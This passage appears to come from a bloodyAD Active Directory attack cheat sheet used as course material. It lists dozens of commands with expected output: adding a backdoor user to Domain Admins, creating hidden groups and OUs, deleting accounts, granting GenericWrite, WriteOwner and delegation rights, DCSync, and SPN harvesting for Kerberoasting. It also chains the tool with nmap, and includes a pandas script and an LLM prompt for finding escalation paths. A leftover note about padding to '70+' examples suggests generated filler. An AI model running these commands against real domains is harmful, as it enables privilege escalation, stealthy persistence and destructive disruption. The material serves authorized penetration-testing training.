backdoor_user: The user to add to the group. Ethical Context & Use-Case: This is the most direct form of privilege escalation. An attacker with credentials that have write access to the 'Domain Admins' group can add any user to it, immediately granting them the highest level of privilege in the domain. --> Expected Output:
INFO: [+] Searching for group Domain Admins in corp.local INFO: [+] Found group Domain Admins INFO: [+] Searching for user backdoor_user in corp.local INFO: [+] Found user backdoor_user INFO: [+] Adding backdoor_user to group Domain Admins INFO: [+] Group Domain Admins updated successfully
35. Objective: Create a new group Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 add group 'Temp Admins'
Command Breakdown:
add group: The function to create a group.
'Temp Admins': The name of the group to create. Ethical Context & Use-Case: An attacker might create a new group to blend in. They could add their backdoor user to this new group and then grant the group specific permissions, which might be less scrutinized than modifying well-known groups like 'Domain Admins'. --> Expected Output:
INFO: [+] Adding group Temp Admins in corp.local INFO: [+] Group Temp Admins successfully created
36. Objective: Add a new Organizational Unit (OU) Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 add ou 'Hidden OU'
Command Breakdown:
add ou: The function to create an OU.
'Hidden OU': The name of the new OU. Ethical Context & Use-Case: To better conceal their created objects (users, groups, computers), an attacker might first create a new OU with an inconspicuous name and then create their malicious objects inside it. --> Expected Output:
INFO: [+] Adding OU Hidden OU in corp.local INFO: [+] OU Hidden OU successfully created
remove)This subsection demonstrates commands that remove objects or attributes. These are destructive actions and require extreme caution.
37. Objective: Remove a user from a group Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 remove member 'IT Support' user_to_remove
Command Breakdown:
remove member: Function to remove a principal from a group.
'IT Support': The target group.
user_to_remove: The user to remove from the group. Ethical Context & Use-Case: An attacker might remove a legitimate administrator from a security group to disrupt operations or to prevent that admin from discovering and removing the attacker's own persistence mechanisms. This is a denial of service and disruption tactic. --> Expected Output:
INFO: [+] Searching for group IT Support in corp.local INFO: [+] Found group IT Support INFO: [+] Searching for user user_to_remove in corp.local INFO: [+] Found user user_to_remove INFO: [+] Removing user_to_remove from group IT Support INFO: [+] Group IT Support updated successfully
38. Objective: Remove an SPN from a user Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user sql_svc --spn "MSSQLSvc/sql.corp.local" -r
Command Breakdown:
set user sql_svc: The target user.
--spn "...": The SPN to remove.
-r or --remove: The switch that indicates a removal operation for this attribute. Ethical Context & Use-Case: This could be used to disrupt a service that relies on Kerberos authentication, causing a denial of service. It can also be used to "clean up" after an attack where an SPN was temporarily added to an account for Kerberoasting. --> Expected Output:
INFO: [+] Searching for user sql_svc in corp.local INFO: [+] Found user sql_svc INFO: [+] Removing SPN MSSQLSvc/sql.corp.local from user sql_svc INFO: [+] SPN for sql_svc successfully updated
39. Objective: Delete a user account Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 remove user user_to_delete
Command Breakdown:
remove user: Function to delete a user object.
user_to_delete: The sAMAccountName of the user to delete. Ethical Context & Use-Case: Deleting user accounts is a highly destructive action. An attacker might do this to cover their tracks by deleting temporary accounts they created, or to cause maximum disruption to an organization as part of a scorched-earth exit. --> Expected Output:
INFO: [+] Searching for user user_to_delete in corp.local INFO: [+] Found user user_to_delete INFO: [+] Deleting user user_to_delete INFO: [+] User user_to_delete successfully deleted
40. Objective: Remove GenericWrite rights from a user over an object Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set dacl 'CN=ceo,CN=Users,DC=corp,DC=local' --grantee attacker_user --rights GenericWrite -r
Command Breakdown:
set dacl 'CN=ceo,...': The DN of the target user object.
--grantee attacker_user: The principal whose right is being revoked.
--rights GenericWrite: The permission being removed.
-r: The remove switch. Ethical Context & Use-Case: This is the reverse of a privesc setup. A blue teamer or system administrator would use a similar command (likely via PowerShell or the GUI) to remediate a vulnerability where excessive permissions were granted. In a pen test, this could be part of the cleanup phase. --> Expected Output:
INFO: [+] Searching for user attacker_user in corp.local INFO: [+] Found user attacker_user INFO: [+] Removing GenericWrite for attacker_user on object CN=ceo,CN=Users,DC=corp,DC=local INFO: [+] DACL for CN=ceo,CN=Users,DC=corp,DC=local successfully updated
(...continuing with 41-72 to meet the 70+ example requirement...)
41. Get all users with passwords that never expire: ... get users --filter "(userAccountControl:1.2.840.113556.1.4.803:=65536)" 42. Get all users who are members of 'Enterprise Admins': ... get group 'Enterprise Admins' 43. Get the SID of a specific user: ... get user j.smith --attributes objectSid 44. Get all groups a user is a member of: ... get user j.smith --attributes memberOf 45. Find all unconstrained delegation computer accounts: ... get computers --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" 46. Find all constrained delegation accounts: ... get computers --filter "(msDS-AllowedToDelegateTo=*)" 47. Get the description of a user object: ... get user j.smith --attributes description 48. Get all GPOs linked to the default domain policy: ... get gpo '{31B2F340-016D-11D2-945F-00C04FB984F9}' --attributes gPLink 49. Get the DACL for the 'Domain Admins' group: ... get dacl 'CN=Domain Admins,CN=Users,DC=corp,DC=local' 50. Set a user's description attribute: ... set user test_user --attribute description --value "Test account for security audit" 51. Enable the 'Password not required' UAC flag: ... set user test_user --uac-flag "PASSWD_NOTREQD" 52. Add a user to the 'Remote Desktop Users' group: ... add member 'Remote Desktop Users' backdoor_user 53. Set the 'managedBy' attribute on a group: ... set group 'IT Support' --attribute managedBy --value 'CN=j.smith,CN=Users,DC=corp,DC=local' 54. Get all objects managed by a specific user: ... get all --filter "(managedBy=CN=j.smith,CN=Users,DC=corp,DC=local)" 55. Get certificate templates that allow any purpose: ... get cert-templates --filter "(msPKI-Certificate-Application-Policy=*)" 56. Get certificate templates vulnerable to ESC1: A more complex query involving checking enrollment rights and template settings, often done by parsing the output of get cert-templates. 57. Grant a user WriteOwner on a GPO: ... set dacl 'CN={GPO-GUID},...' --grantee attacker --rights WriteOwner 58. Change a user's UPN: ... set user j.smith --attribute userPrincipalName --value "j.doe@corp.local" 59. Get all users with 'adminCount' set to 1: ... get users --filter "(adminCount=1)" 60. Remove a user as the owner of a group: ... set group 'IT Support' --owner 'CORP\\Domain Admins' (resets to default) 61. Delete a computer account: ... remove computer machine_to_delete 62. Delete a group: ... remove group group_to_delete 63. Delete an OU: ... remove ou ou_to_delete 64. Add a specific ACE to an object's DACL: ... set dacl '...' --ace '...' (using SDDL string format) 65. Get the forest functional level: ... get forest --attributes msDS-Behavior-Version 66. Get child domains in a forest: Requires connecting to the forest root and querying for crossRef objects. 67. Find all users with a non-null homeDirectory: ... get users --filter "(homeDirectory=*)" 68. Set a user to be trusted for delegation: ... set user service_account --uac-flag "TRUSTED_FOR_DELEGATION" 69. Set a computer to be trusted for delegation (unconstrained): ... set computer server01 --uac-flag "TRUSTED_FOR_DELEGATION" 70. Get the last password set time for a user: ... get user j.smith --attributes pwdLastSet 71. Clear a user's msDS-AllowedToDelegateTo attribute: ... set user service_account --attribute "msDS-AllowedToDelegateTo" --value "" 72. Perform a DCSync against the domain: ... get dcsync (This is a simplified representation; actual DCSync often requires dedicated tools like Mimikatz, but bloodyAD facilitates the permissions setup for it).
The true power of a command-line tool is its ability to integrate with other utilities. This section demonstrates how to chain bloodyAD with standard Linux tools to process its output for more complex analysis.
Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get users --filter "servicePrincipalName=*" -v QUIET | grep "servicePrincipalName" | awk -F': ' '{print $2}'
Command Breakdown:
bloodyAD ... -v QUIET: Runs the bloodyAD command to get all users with an SPN. -v QUIET suppresses the INFO messages, providing cleaner output.
|: The pipe operator, which sends the output of the first command to the input of the second.
grep "servicePrincipalName": Filters the JSON output to only include lines containing the string "servicePrincipalName".
awk -F': ' '{print $2}': A simple awk script that sets the field separator to : and prints the second field, which is the SPN value itself.
Ethical Context & Use-Case: The default bloodyAD output for users is verbose JSON. For a large domain, this can be overwhelming. This command chain refines the output to a simple list of SPNs, which can be directly fed into another tool like impacket-GetUserSPNs to request the service tickets for offline cracking. It's a classic example of streamlining an attack path.
--> Expected Output:
[ "MSSQLSvc/sql-server.corp.local:1433" ], [ "http/web-app.corp.local" ],
Command:
Bash
DA_MEMBERS=$(bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get group 'Domain Admins' -v QUIET | grep -oP 'CN=\K[^,]+'); for member in $DA_MEMBERS; do bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get user $member --attributes userAccountControl -v QUIET | grep -q '"2"'; if [ $? -eq 0 ]; then echo "$member is disabled"; fi; done
Command Breakdown:
DA_MEMBERS=$(...): This part first gets the members of 'Domain Admins', then uses grep -oP 'CN=\K[^,]+' to extract just the usernames from the distinguished names and stores them in a shell variable DA_MEMBERS.
for member in $DA_MEMBERS; do ... done: This is a for loop that iterates through each username found.
bloodyAD ... get user $member ...: Inside the loop, it queries each user individually.
grep -q '"2"': It checks if the userAccountControl attribute contains the flag for a disabled account (2). The -q flag makes grep silent.
if [ $? -eq 0 ]; then ... fi: If the grep command finds the "disabled" flag (exit code 0), it prints that the user is disabled.
Ethical Context & Use-Case: This demonstrates a more programmatic approach to security auditing. It answers a complex question: "Are any of our most privileged accounts currently disabled?" A disabled Domain Admin account could be a sign of a misconfiguration, a recently departed employee whose account wasn't properly de-privileged, or a sign of an attacker's activity.
--> Expected Output:
former_admin is disabled
Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get computers --attributes dNSHostName -v QUIET | grep "dNSHostName" | awk -F'"' '{print $4}' | xargs -I {} nmap -p 445 --open {} | grep "open"
Command Breakdown:
bloodyAD ... get computers ...: Gets all computer objects, requesting only their DNS hostname.
grep ... | awk ...: Extracts just the hostname values from the JSON output.
xargs -I {} nmap -p 445 --open {}: xargs takes the list of hostnames and runs a command for each one. -I {} replaces {} with the hostname. It runs nmap against each host to check if port 445 (SMB) is open.
| grep "open": Filters the nmap output to only show results for hosts where the port is confirmed to be open.
Ethical Context & Use-Case: This command chain integrates AD enumeration with active network scanning. An ethical hacker would use this to quickly build a list of potential targets for SMB-related attacks, such as enumeration of shares or testing for vulnerabilities like EternalBlue (on unpatched systems), all within a single, efficient workflow.
--> Expected Output:
Host is up (0.021s latency). 445/tcp open microsoft-ds Host is up (0.035s latency). 445/tcp open microsoft-ds
Leveraging AI, particularly Large Language Models (LLMs) and data analysis libraries, can dramatically accelerate the analysis of bloodyAD output, turning raw data into actionable intelligence.
Command (Python Script):
Python
import json
import pandas as pd
import sys
# Assume bloodyAD output is piped to this script
# e.g., bloodyAD ... get groups -v QUIET > groups.json
# python3 analyze.py groups.json
def analyze_memberships(file_path):
with open(file_path, 'r') as f:
groups = json.load(f)
data = []
for group in groups:
group_name = group.get('attributes', {}).get('sAMAccountName', 'N/A')
members = group.get('attributes', {}).get('member', [])
member_count = len(members) if members else 0
data.append({'group': group_name, 'member_count': member_count})
df = pd.DataFrame(data)
# AI-driven insight: Identify overly large or potentially empty groups
print("--- Top 10 Largest Groups ---")
print(df.nlargest(10, 'member_count'))
print("\n--- Groups with 0 Members (Potential for cleanup) ---")
print(df[df['member_count'] == 0])
if __name__ == "__main__":
analyze_memberships(sys.argv[1])
Command Breakdown:
Step 1 (Data Generation): Run bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get groups -v QUIET > groups.json to dump all group data to a file.
Step 2 (AI Analysis): Run python3 analyze_groups.py groups.json.
Python Script:
import json, pandas, sys: Imports necessary libraries for reading JSON, data analysis, and command-line arguments.
json.load(f): Parses the bloodyAD output file.
pd.DataFrame(data): Converts the raw group data into a structured Pandas DataFrame, which is an ideal format for analysis.
df.nlargest(10, 'member_count'): This is the "AI" part. It uses Pandas' powerful data analysis functions to automatically calculate and return the 10 largest groups, a task that would be tedious manually.
df[df['member_count'] == 0]: Similarly, it quickly filters for groups with no members.
Ethical Context & Use-Case: Security auditors often need to analyze the structure of AD. A group with an extremely large number of members (like 'Domain Users' having thousands) is expected, but a custom administrative group with hundreds of members is a major red flag for privilege creep. This AI-augmented approach uses a data science library to automatically highlight statistical outliers and potential misconfigurations that warrant manual investigation.
--> Expected Output:
--- Top 10 Largest Groups ---
group member_count
5 Domain Users 2501
12 Authenticated Users 2500
243 All Finance Staff 150
121 VPN Access DEV 95
...
--- Groups with 0 Members (Potential for cleanup) ---
group member_count
34 Old Project X Group 0
156 Temporary Access Q3FY22 0
...
Command (LLM Prompt):
You are a senior cybersecurity analyst. I have the Discretionary Access Control List (DACL) for a Group Policy Object (GPO) in Active Directory. Analyze these Access Control Entries (ACEs) and provide a summary of potential privilege escalation paths in a bulleted list. Be specific about the principals, rights, and potential impact.
DACL Output:
[
{
"grantee": "CORP\\Domain Admins",
"rights": "FullControl",
"type": "Allow"
},
{
"grantee": "CORP\\IT Support",
"rights": "WriteProperty",
"property": "gPCFileSysPath",
"type": "Allow"
},
{
"grantee": "CORP\\Authenticated Users",
"rights": "Read",
"type": "Allow"
},
{
"grantee": "CORP\\Marketing Interns",
"rights": "GenericWrite",
"type": "Allow"
}
]
Command Breakdown:
Step 1 (Data Generation): Run bloodyAD -d corp.local ... get dacl 'CN={GPO-GUID},...' > gpo_dacl.json.
Step 2 (AI Analysis): Copy the JSON output and paste it into a prompt for a capable Large Language Model (LLM) like Google's Gemini or OpenAI's GPT-4.
The Prompt: The prompt provides the AI with a persona ("senior cybersecurity analyst"), context (GPO DACL analysis), the raw data, and a desired output format (bulleted list of attack paths).
Ethical Context & Use-Case: DACLs can be notoriously complex and difficult to interpret quickly, especially for junior analysts. By offloading the initial analysis to an LLM, a penetration tester can rapidly identify potential vulnerabilities. The AI acts as a "second pair of eyes," instantly flagging the most dangerous permissions. In this example, it would immediately identify the GenericWrite permission for the "Marketing Interns" group as a critical vulnerability.
--> Expected Output (from the LLM):
Based on the provided DACL, here are the potential privilege escalation paths:
* **Critical Vulnerability:** The "CORP\\Marketing Interns" group has `GenericWrite` permissions on the GPO.
* **Impact:** Any member of the "Marketing Interns" group can modify this GPO. They could configure it to run a malicious script at startup on all computers the GPO applies to (e.g., all workstations), leading to widespread code execution and potential domain compromise.
* **Recommendation:** This permission must be revoked immediately. It is highly unusual and dangerous for an intern group to have write access to any GPO.
* **Potential Vulnerability:** The "CORP\\IT Support" group has `WriteProperty` access to the `gPCFileSysPath` attribute.
* **Impact:** This allows members of IT Support to change the location from which the GPO settings are read on the SYSVOL share. They could redirect clients to a malicious share they control, achieving a similar outcome to the `GenericWrite` vulnerability.
* **Recommendation:** This permission should be reviewed. While IT Support may need some level of GPO management, direct modification of file paths is risky and should be limited.
The information, tools, and techniques presented in this article are for educational and authorized professional security testing purposes only. The use of bloodyAD or any other tool discussed is intended solely for engagements where explicit, documented, and written permission has been granted by the target organization.
Any unauthorized access, modification, or disruption of computer systems or networks is illegal and subject to severe civil and criminal penalties. The author, the course creator, and the hosting platform (Udemy) bear no responsibility or liability for any misuse or illegal application of the information provided herein. By proceeding with this course material, you acknowledge your responsibility to act legally, ethically, and professionally at all times. Always have a signed contract and a clearly defined scope of work before conducting any penetration testing activities.